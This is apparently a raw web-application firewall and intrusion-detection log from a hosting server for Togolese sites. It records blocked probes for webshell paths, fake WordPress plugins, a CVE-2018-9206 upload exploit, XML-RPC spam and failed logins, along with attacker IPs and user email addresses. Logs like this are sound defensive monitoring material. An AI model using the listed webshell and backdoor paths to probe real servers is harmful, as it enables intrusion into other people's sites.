abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.15||T:APACHE||SC:/home/hphhdcxi/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/install.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/content.php||SC:/home/hphhdcxi/public_html/wp-content||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/admin-footer.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/waf_defender.php||SC:/home/hphhdcxi/public_html/images||


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 45.137.126.70
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home/hphhdcxi/public_html/wp-includes||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.70
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/upload/install.php||SC:/home/hphhdcxi/public_html/upload||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.15||T:APACHE||SC:/home/hphhdcxi/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/av.php||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.15||T:APACHE||SC:/home/hphhdcxi/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/adminfus.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/system_cache.php||SC:/home/hphhdcxi/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/buy.php||SC:/home/hphhdcxi/public_html/images||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/1.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.70
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/install.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/cloud.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.100
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/alfa.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.100
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/dedi1.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/Marvins.php||SC:/home/hphhdcxi/public_html/images||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/include.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/themes.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.15||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.100
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/av.php||SC:/home/hphhdcxi/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.74.220.5
country_id: 2542007
description:
2026-06-09 06:24:54 dovecot_plain authenticator failed for H=(ukfwav6hbw33ssdavd6l08h) [196.74.220.5]:44373: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.100
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/2021/wp-works.php||SC:/home/hphhdcxi/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.83
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/assets/images/cloud.php||SC:/home/hphhdcxi/public_html/assets||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 45.137.126.83
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.15||T:APACHE||MV:/assets/images/accesson.php||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.100
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/adminfus.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 45.137.126.83
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:8.15||T:APACHE||MVN:REQUEST_URI||MV:/admin/assets/plugins/jquery-file-upload/server/php/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.91
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/system_core.php||SC:/home/hphhdcxi/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.83
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/autodiagnosis.php||SC:/home/hphhdcxi/public_html/wp-content||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.83
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/file-js.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.137.126.91
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.15||T:APACHE||SC:/home/hphhdcxi/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.21.70
country_id: 1562822
description:
2026-06-09 06:25:21 dovecot_login authenticator failed for H=([49.124.149.50]) [27.71.21.70]:62277: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Claim Your XXL Stake Bonus vamvozmviigr.blogspot.se p6||Email:boluwajioluwapelumi200@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.66
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-27.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350559
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.69
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/easy-themes-manager/||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 102.64.164.128
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:Sec-Ch-Ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"120\", \"opera\";v=\"106\", \"operamobile\";v=\"80\"||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:06:28:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263187&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnouveau-marche-moderne-a-kpele-la-population-soulagee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986488 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/nouveau-marche-moderne-a-kpele-la-population-soulagee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.205
country_id: 1880251
description:
47.128.96.205 - - [09/Jun/2026:06:28:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13070237&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-appel-a-candidatures-pour-des-bourses-detudes-a-luniversite-dadelaide-australie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986520 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-appel-a-candidatures-pour-des-bourses-detudes-a-luniversite-dadelaide-australie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.205


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [09/Jun/2026:06:29:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118254&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fquart-de-finale-de-la-ligue-des-champions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986577 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/quart-de-finale-de-la-ligue-des-champions/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.179
country_id: 1880251
description:
47.128.96.179 - - [09/Jun/2026:06:29:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6840468&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconcours-de-recrutement-des-enseignants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986596 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/concours-de-recrutement-des-enseignants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.179


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [09/Jun/2026:06:30:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6656921&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclicks-pharmacy%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986642 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/clicks-pharmacy/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [09/Jun/2026:06:30:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790856&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdede-rose-creppy-morte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986636 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dede-rose-creppy-morte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.205
country_id: 1880251
description:
47.128.96.205 - - [09/Jun/2026:06:31:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6514071&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fquart-de-finale-de-la-ligue-des-champions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986680 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/quart-de-finale-de-la-ligue-des-champions/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.205


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.86.53.235
country_id: 1814991
description:
2026-06-09 06:32:35 H=([182.86.53.235]) [182.86.53.235]:25090 F=<John@4452.com> rejected RCPT <8069webloginagounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [09/Jun/2026:06:34:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788756&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-forte-augmentation-de-la-productivite-agricole-grace-au-ppaao%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780986874 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-forte-augmentation-de-la-productivite-agricole-grace-au-ppaao/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.162.44
country_id: 3895114
domain: www.matosshop.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.matosshop.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.90.101.245
country_id: 1168579
domain: www.matosshop.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.matosshop.tghttp/www.matosshop.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.84
country_id: 1512440
description:
2026-06-09 06:36:18 H=([213.230.87.84]) [213.230.87.84]:22777 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.230
country_id: 2300660
description:
Jun  9 06:37:13 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.130.227.181
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/46.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.84
country_id: 1512440
description:
2026-06-09 06:42:55 H=([213.230.87.84]) [213.230.87.84]:61531 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 119.28.181.155
country_id: 1819730
description:
119.28.181.155 - - [09/Jun/2026:06:43:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645865&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fpage%252F4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780987384 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/page/4/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:119.28.181.155


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.246.129
country_id: 2921044
description:
[2026-06-09 06:44:31 +0000] info [cpaneld] 216.26.246.129 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user polyfree (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-06-09 06:45:30 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:26046: 535 Incorrect authentication data (set_id=office@togosem.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 136.243.228.198
country_id: 2921044
domain: www.ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sunu-group.com||User:egjvuiox||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.161.202.113
country_id: 2921044
description:
[2026-06-09 06:49:57 +0000] info [cpaneld] 185.161.202.113 - boobilry "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [09/Jun/2026:06:51:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6538133&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780987918 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Your Stablecoin Bonus sepoladi.blogspot.dk Si||Email:ShonBarnes3@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-51.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:06:51:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169379&pdata=https%253A%252F%252Ftogodailynews.tg%252Fprotection-de-lenfant-les-avancees-faites-en-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780987891 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/protection-de-lenfant-les-avancees-faites-en-2025/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-09 06:52:23 +0000] info [webmaild] 160.242.195.10 - hakpandza@caissederetraites.tg "GET /cpsess1862561239/3rdparty/roundcube/?_task=mail&_refresh=1&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.203.31.24
country_id: 6252001
description:
[2026-06-09 06:54:09 +0000] info [cpaneld] 216.203.31.24 - Marshall_Alexander "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.226.220
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/faure-gnassingbe-en-mission-de-paix-a-kigali/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.226.220
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/faure-gnassingbe-en-mission-de-paix-a-kigali/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [09/Jun/2026:06:55:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10117990&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780988157 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.176.37.50
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e259e97cd3048812223dcbb827a05098d26ba2c7||Title:ui9yfgi9aymg0cd5g||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.176.37.50
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4c302a496dd391dc8e92bab35367be87f4b8e389||Title:e32mi6fmpq47xl96n1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.176.37.50
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:994b6d438aecdd117fd7ec616fd33c89d8b2e995||Title:cm6hfueedrq7g3ca||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.176.37.50
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4e96b3bf8d31e5f300cd7c612bc90500f75701ae||Title:ucl5e2bamqikemy||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 128.242.230.252
country_id: 1861060
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Evala 2022 : Le ministre LAMADOKOU \xc3\xa9change avec les h\xc3\xb4teliers de la Kozah||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.241.160.125
country_id: 1643084
description:
